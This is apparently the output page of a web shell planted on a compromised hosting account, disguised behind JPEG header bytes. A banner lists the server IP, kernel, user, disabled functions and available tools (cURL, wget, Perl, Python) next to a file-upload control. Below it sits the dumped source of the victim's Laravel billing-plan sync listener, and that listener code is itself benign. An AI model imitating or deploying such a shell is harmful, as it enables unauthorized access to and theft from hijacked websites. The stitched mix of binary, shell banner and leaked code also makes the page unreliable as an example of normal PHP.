����JFIF��x�x����'
| Server IP : 78.140.185.180 / Your IP : 216.73.216.169 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/././././www/common/Billing/Listeners/ |
Upload File : |
<?php
namespace Common\Billing\Listeners;
use Common\Billing\BillingPlan;
use Common\Billing\Gateways\GatewayFactory;
use Common\Settings\Events\SettingsSaved;
use Illuminate\Support\Collection;
class SyncPlansWhenBillingSettingsChange
{
/**
* @var GatewayFactory
*/
private $gatewayFactory;
/**
* @param GatewayFactory $gatewayFactory
*/
public function __construct(GatewayFactory $gatewayFactory)
{
$this->gatewayFactory = $gatewayFactory;
}
/**
* @param SettingsSaved $event
*/
public function handle(SettingsSaved $event)
{
$s = $event->envSettings;
@ini_set('max_execution_time', 300);
$plans = BillingPlan::where('free', false)->orderBy('parent_id', 'asc')->get();
if (array_key_exists('stripe_key', $s) || array_key_exists('stripe_secret', $s)) {
$this->syncPlans('stripe', $plans);
}
if (array_key_exists('paypal_client_id', $s) || array_key_exists('paypal_secret', $s)) {
$this->syncPlans('paypal', $plans);
}
}
private function syncPlans($gatewayName, Collection $plans)
{
$gateway = $this->gatewayFactory->get($gatewayName);
$plans->each(function(BillingPlan $plan) use($gateway) {
if ( ! $gateway->plans()->find($plan)) {
$gateway->plans()->create($plan);
}
});
}
}